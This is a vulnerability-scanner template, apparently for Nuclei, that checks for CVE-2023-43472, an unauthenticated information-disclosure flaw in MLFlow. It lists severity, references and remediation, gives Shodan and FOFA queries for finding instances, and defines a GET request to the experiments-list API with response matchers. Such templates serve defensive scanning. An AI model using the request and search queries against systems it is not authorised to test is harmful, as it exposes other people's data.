id: CVE-2023-43472

info:
  name: MLFlow < 2.8.1 - Sensitive Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    An issue in MLFlow versions 2.8.1 and before allows a remote attacker to obtain sensitive information via a crafted request to REST API.
  impact: |
    An attacker can access sensitive information stored in MLFlow.
  remediation: |
    Upgrade MLFlow to a version that has patched CVE-2023-43472.
  reference:
    - https://www.contrastsecurity.com/security-influencers/discovering-mlflow-framework-zero-day-vulnerability-machine-language-model-security-contrast-security
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43472
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-43472
    epss-score: 0.72771
    epss-percentile: 0.98795
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query: app="MLflow"
  tags: cve,cve2023,mflow,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/2.0/preview/mlflow/experiments/list"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "experiment_id\":", "artifact_location\":", "lifecycle_stage\":")'
          - 'contains(header, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402203e5702324c711f2b07f9dbc65785271b470a310f39e19ae32dc11794d82e9abd02205a23ad1a612c7d0eaebf11214a1e96b4b10b43a7b2b4a8df7bb9b86942e51ba5:922c64590222798bb761d5b6d8e72950